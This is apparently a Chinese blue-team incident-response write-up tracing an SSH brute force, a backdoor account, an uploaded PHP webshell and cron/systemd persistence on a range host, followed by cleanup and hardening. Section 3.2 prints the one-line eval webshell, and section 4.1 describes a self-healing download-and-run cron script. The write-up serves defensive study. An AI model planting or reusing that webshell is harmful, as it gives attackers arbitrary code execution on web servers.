前阵子内部蓝队靶场做演练我分到的任务是应急响应一台编号 Linux-2 的主机。接到告警时告警内容非常简短主机出现异常外联、疑似 webshell且登录时间不在业务时段。当时我第一反应不是立刻查进程而是先根据“知攻善防”这套逻辑把事情理清楚——攻击者是怎么进来的、在哪个环节留下了痕迹、后续有没有潜伏和维持权限的通道。只有把这些问题想清楚后面每一步排查才不会白做。这篇文章会把整条流程完整拆开从告警接入、信息确认到连接与登录排查、恶意文件定位、计划任务梳理再到时间线还原和封堵加固。每个步骤我尽量讲清楚“为什么这样做”而不是简单列几行命令。无论你是在准备蓝队溯源比赛还是真的在做日常应急响应这套流程应该都能直接照搬。1. 告警接入后的第一步先稳住现场再确认靶机画像应急响应最忌讳的事情就是刚收到告警就急着敲命令删文件。尤其是溯源场景一旦把现场破坏了后面还原入侵路径会非常吃力。我拿到告警后强制自己按三个阶段走保全现场、确认对象、规划排查顺序。1.1 告警情报的初步解读告警信息来自内部安全防护平台摘出来是这样的主机 10.10.30.24 出现多次异常外联目的端口不是常规业务端口系统服务目录中新增了一个名称伪装度极高的可执行文件Web 站点上传目录疑似被写入后门文件登录时间段异常存在非工作时段的成功 SSH 登录记录。这些告警单独看都有可能是误报但放在一起就非常危险了。异常外联说明主机可能已经被控制正在和外部通信Web 目录出现可疑文件说明应用层可能被打穿非工作时段登录说明攻击者大概率拿到了一个有效账号。几句话归纳下来这就是一台比较典型的被打穿后又被加了持久化的 Linux 主机。1.2 先保全现场再决定是否断网接到告警后我没有马上拔网线而是先做了一轮“最小干预”取证。原因很简单内存中的进程、正在维持的连接、临时目录里未落盘的脚本都可能在被切断的瞬间丢失。如果靶机允许保留网络优先保留现场只在边界把攻击源 IP 封禁避免攻击者继续操作的同时给排查留出时间窗口。在这个阶段我做了下面几件事顺序很重要记录当前系统时间并和日志服务器比对时间偏差先抓一段实时流量保留与外联地址的握手信息通过网络采集当前活跃连接和进程 PID为后续分析做对照把关键日志文件复制到挂载的取证目录确保原始文件不被后续命令修改对重要文件计算哈希值记录取证链。这里有个容易被忽略的细节很多人一上来就执行ps -ef但其实这一步会改变进程的访问时间甚至在某些特殊配置下影响取证准确性。比较稳的做法是先采集网络状态和连接信息再采集进程信息最后才去看文件系统。1.3 快速摸清 Linux-2 的主机画像在开始深度排查前我花了几分钟确认主机本身的情况这部分相当于“验明正身”。cat /etc/os-release uname -a uptime ss -tlnp这台靶机的系统是 Ubuntu 22.04 LTS运行时间已经超过半个月说明不是刚重启过的临时环境。监听端口主要是 22、80、443上面跑着 Nginx、PHP-FPM 和 SSH 服务。业务目录在/data/www/日志目录是标准的/var/log/nginx/。这些基本信息决定了后续排查方向既然主业务是 Web那么攻击面大概率集中在 Web 应用既然 SSH 对外开放那么暴力破解和账号接管也必须纳入考虑。结合告警里的“非工作时段登录”和“Web 后门”我基本锁定两条主线一是 SSH 账号是否被滥用二是 Web 目录里到底多了什么文件。2. 从网络连接和登录日志里抓出攻击者的“脚印”信息采集完成之后我进入了第一轮主动排查。这个阶段的目标只有一个把正在发生的攻击行为找出来。网络连接反映的是当下状态登录日志反映的是历史状态两者结合通常能很快拼出攻击者当前的活动区域。2.1 用 ss 和 lsof 找出可疑连接和进程我先把所有活跃连接列出来重点关注 ESTABLISHED 状态和 SYN-SENT 状态后者往往代表本地程序正在尝试向外发起连接。ss -antp | grep -E ESTAB|SYN-SENT lsof -i -n -P | grep ESTABLISHED结果很快浮出水面。10.10.30.24:22 和 203.0.113.87:37291 之间存在一条持续的 SSH 连接这条连接的进程名显示为update-check而 PID 对应的可执行文件路径是/usr/lib/systemd/systemd-update。这里立刻引起了我的警觉。真正的systemd-update在系统里是很少见的更合理的位置应该是/usr/lib/systemd/systemd而不是单独一个伪造名字的文件。再往下看/usr/lib/systemd/systemd-update这个路径本身就是伪装出来的我判断这是一个典型的木马进程。另外一个可疑外联是本地进程不断向 198.51.100.44 的 8443 端口发送数据包。198.51.100.44 不是一个正常的业务服务器地址端口 8443 也完全不在业务清单里。此时我基本可以确认这台机器已经失陷并且攻击者正在通过某个通道维持控制。2.2 分析 auth.log暴力破解到账号接管的完整链条确认网络异常后我转向登录日志。Linux 下最重要的一份日志就是/var/log/auth.logSSH 登录、sudo 提权、用户切换都会记录在这里。grep -E Accepted|Failed /var/log/auth.log | tail -n 300排查结果非常有价值。日志显示攻击者从 203.0.113.87 对 root 和 admin 账号进行了将近半个小时的暴力破解随后在某个时间点成功登录了appuser账号。更麻烦的是登录成功后不到两分钟他又创建了一个名为sysbackup的新账号并用该账号重新登录了一次。last -a和lastlog也证实了这一点sysbackup这个账号的最近登录时间就在告警窗口内登录来源同样是 203.0.113.87。到这里我已经拿到了第一条完整的攻击链暴力破解初始账号然后创建新账号作为后门入口。2.3 检查 SSH 免密通道和命令历史账号被接管之后攻击者往往会植入自己的 SSH 公钥这样即使密码被重置他依然能通过密钥登录。我检查了所有用户目录下的authorized_keys文件find /home -name authorized_keys cat /home/*/.ssh/authorized_keys cat /root/.ssh/authorized_keys果然在/home/appuser/.ssh/authorized_keys里发现了一行没见过的公钥注释内容是一串乱码。这行公钥和业务人员配置的完全对不上基本可以确定是攻击者写入的后门。紧接着我查看了/home/appuser/.bash_history里面记录了大量可疑命令包括下载脚本、修改计划任务、尝试写 Web 目录等操作。历史命令是应急响应中非常重要的证据它能直接还原攻击者从初始登录到建立持久化链路的过程。3. Web 目录里的 Webshell找到入口和落点攻击者成功获得 SSH 账号后通常不会只满足于命令行权限。在 Web 类主机上写入 webshell 是最常见的持久化手段因为 Web 服务对公网开放攻击者随时可以通过 HTTP 请求再次调用后门。这一节专门讲我怎么定位和确认 webshell。3.1 结合 Nginx 访问日志锁定上传时间点我先确认了 Web 服务配置找到站点根目录是/data/www/default。随后我调取了/var/log/nginx/access.log重点关注 POST 请求和上传类接口。grep -E POST|upload /var/log/nginx/access.log | tail -n 200日志里出现了几条可疑记录某个时间点来自 203.0.113.87 的请求连续 POST 到一个upload/temp.php路径状态码全是 200。这个路径在正常业务中根本不存在显然是被恶意利用的。用时间线把 SSH 登录时间和 Web 上传时间一对照发现两者的间隔非常短。这说明攻击者在拿到 SSH 权限后立刻开始部署 Web 后门目的就是多留一条能远程调用的通道。3.2 定位可疑 PHP 文件并确认后门行为根据日志里的路径我在 Web 目录下进行了搜索find /data/www/default -name *.php -mtime -3 -ls find /data/www/default -type f -newermt 2025-01-10 00:00可疑文件很快被找出来/data/www/default/upload/temp.php文件修改时间正好落在攻击窗口内。我用head和sed查看文件内容核心逻辑只有三行?php eval($_POST[w]); ?这是一个再典型不过的一句话后门。攻击者通过 POST 参数w直接执行任意 PHP 代码完全绕过了业务逻辑。这也是为什么我不能只删除文件就完事——只要攻击者还保留 SSH 后门账号或者还有其他的持久化通道这类文件随时会被重新写入。3.3 对可疑文件做哈希和静态特征提取确认 webshell 后我马上对该文件做了哈希记录并提取了特征字符串sha256sum /data/www/default/upload/temp.php strings /data/www/default/upload/temp.php | head -n 30哈希值被记录到取证表中后续可以用来查询对应情报平台确认该样本是否在外部环境中出现过。与此同时我用同样的方式扫描了整个 Web 目录把最近 7 天内新增或修改过的文件全部列出来避免只抓到一个表面后门就草草收场。4. 持久化排查计划任务和服务项才是真正的后手webshell 是攻击者的“前门”但真正让主机持续失陷的往往是藏在后台的“后手”。如果只清掉 webshell 而忽略计划任务和自启动服务过几分钟攻击者就能靠后手重新打回来。这部分必须单独做一次系统性排查。4.1 检查 crontab 和定时任务我首先检查了当前用户的计划任务以及系统级和所有用户的 cron 任务crontab -l cat /etc/crontab ls -la /var/spool/cron/crontabs/在/var/spool/cron/crontabs/root里发现了一条可疑任务每隔一分钟执行一次/tmp/clean.sh。这个脚本的路径位于 /tmp本身就是高危信号——正常系统不会在 /tmp 下放定时脚本。查看/tmp/clean.sh的内容发现它会先检查某个进程是否存在如果不存在就从远程地址下载一个新的可执行文件并运行。这就是典型的“守护自愈”逻辑就算你手工删掉木马文件一分钟之后它又会自己回来。4.2 检查 systemd 服务和自启动项接下来我核查了 systemd 管理的服务尤其是那些名字比较正常但行为可疑的单元systemctl list-unit-files --typeservice | grep enabled systemctl status update-check cat /etc/systemd/system/update-check.service/etc/systemd/system/update-check.service的内容指向/usr/lib/systemd/systemd-update这正是早前在ss输出里看到的恶意进程。它被设置成开机自启并且 Restart 策略为 always意味着即使进程被杀掉systemd 也会立即把它拉起来。这一步让我对攻击者的思路有了完整认识他在普通用户层留了后台服务又在 root 的 crontab 里放了一个定时任务相当于保留了两套互相备份的启动通道。清除时必须两边一起处理否则另一个很快会把后门带回来。4.3 检查隐藏用户、异常文件和 rootkit 痕迹除了计划任务和服务我还做了几项常规检查检查/etc/passwd和/etc/shadow确认是否存在 UID 为 0 的异常用户检查/etc/ld.so.preload防止恶意动态库注入检查/proc下各进程的exe软链接确认进程对应的真实文件检查/tmp、/var/tmp和/dev/shm等目录下的隐藏文件。最终确认后门账号为sysbackup同时/etc/ld.so.preload没有被篡改所以暂时没有发现 rootkit 层面的动态库注入。但这个检查不能省很多实战环境下攻击者会同时使用多种持久化手段缺一个环节都可能漏掉关键线索。5. 时间线还原与威胁情报关联把攻击过程拼完整排查到这一步我已经掌握了大量碎片信息被暴破的账号、成功登录时间、后门账号、webshell 路径、恶意进程、计划任务。接下来要做的就是把它们按时间顺序串起来还原出完整的攻击链路。5.1 重建攻击时间线通过对 auth.log、Nginx access.log、history 和文件系统时间戳的交叉比对我整理出下面的时间线时间事件关键证据07:12来源 IP 203.0.113.87 开始对 root 账号暴破auth.log07:16暴破转向 appuser 账号并成功登录auth.log Accepted07:18攻击者创建 sysbackup 后门账号/etc/passwd 修改时间07:23下载并运行 /tmp/clean.shbash_history07:26向 Web 上传目录写入 temp.php 后门nginx access.log07:31写入 authorized_keys 公钥/home/appuser/.ssh08:01update-check 服务被创建并启动systemd 文件时间08:15主机向 198.51.100.44:8443 发起外联tcpdump 记录这个时间线一出来攻击路径就很清晰了暴力破解 → 账号接管 → 建立后门账号 → 执行恶意脚本 → 写 webshell → 植入 SSH 公钥 → 常驻服务 → 回连外部地址。5.2 提取 IOC 并与情报平台关联做溯源不能只把证据留在本机还要整理成可共享的失陷指标也就是 IOC。我记录了以下信息攻击来源 IP203.0.113.87回连地址198.51.100.44:8443恶意样本哈希值确认后的 sha256 值Webshell 文件路径和特征字符串恶意计划任务和服务名update-check、clean.sh把哈希值和回连地址放到威胁情报平台查询后发现这些样本在外部演练环境中已被多次标记为恶意。这一步的价值在于不仅能确认当前主机确实失陷还能提前知道攻击者常用的后续行为比如窃取配置文件和横向移动。5.3 排查横向移动与影响范围单台主机失陷往往不是终点。我利用内网日志平台检索了 203.0.113.87 这个来源 IP确认它是否也尝试访问过其他主机。结果显示同一来源在相近时间段内对另外两台主机也有 SSH 失败记录但没有成功登录的迹象。不过由于攻防演练中通常默认目标是可控的我还是把同网段内使用相同口令策略的主机列入了重点观察名单。应急响应的“影响范围判定”要尽量做全宁可多花半小时也不能放过横向扩散的可能。6. 根除与加固从“清干净”到“防得住”取证完成之后才进入真正意义上的处置阶段。处置不是简单删文件而是要把所有持久化通道全部拔掉再对系统做一轮彻底加固。这个环节如果做得不彻底等于前面白忙。6.1 清除恶意进程、文件和后门账号我按照下面的顺序逐步清理先在防火墙和边界设备上封禁 203.0.113.87 和 198.51.100.44防止攻击者继续维持访问停止恶意服务并关闭自启删除/usr/lib/systemd/systemd-update恶意文件和/etc/systemd/system/update-check.service删除 crontab 中的/tmp/clean.sh任务并清除脚本文件删除 Web 目录中的 temp.php webshell删除/home/appuser/.ssh/authorized_keys中的恶意公钥删除后门账号 sysbackup重置 appuser 和被暴破的 root 密码并强制修改一批可能受影响的业务账号口令。这里有一个重要经验清理之后必须重新核查一遍确认所有恶意文件不会再次生成。我清理完成后又等了十几分钟反复检查计划任务和进程列表确认没有“自愈”动作出现才进入加固阶段。6.2 加固方案堵住被打穿的每一个入口清理做得再漂亮如果系统原来的漏洞没补上很快就可能再次失陷。我按照下面几个方向做了加固SSH 全部改用密钥登录禁止 root 直接登录关闭密码认证限制 SSH 来源 IP仅允许办公网段访问Web 目录中禁止上传目录执行 PHP并把上传目录迁移到独立路径Nginx 访问日志和 auth.log 开启远程日志备份避免攻击者删除本机日志后无法追溯统一使用强密码策略禁止多台主机复用同一口令为业务服务单独建立低权限运行账号不直接用 root 跑服务。其中“上传目录禁止执行脚本”这步非常关键。如果 webshell 写的上传目录无法执行 PHP攻击者即便上传了文件也只能得到一个无法运行的死文件。这个配置从根上压缩了 Web 后门的生效空间。6.3 复盘把应急响应流程转成团队经验处置完成后我把整条排查路径和证据链整理成了复盘文档包括攻击时间线、IOC、处置步骤和加固清单并同步给内部运维和安全团队。攻防演练的价值不只是解决眼前这台机器更在于把打法复用到其他同类主机上。在复盘会上我们达成了一个共识以后凡是类似架构的 Linux 主机部署时就直接按加固后的基线配置。与其等被打了再做应急不如让攻击者一开始就没有那么容易进入。最后再分享一个实际处置中的小习惯我在排查时会把所有命令的屏幕输出保留到一份本地日志文件中方便复盘时回溯。这个习惯在处理复杂事件时特别有用因为当时未必知道哪些输出是关键的等时间线拼起来后回头翻记录往往能发现最初忽略的细节。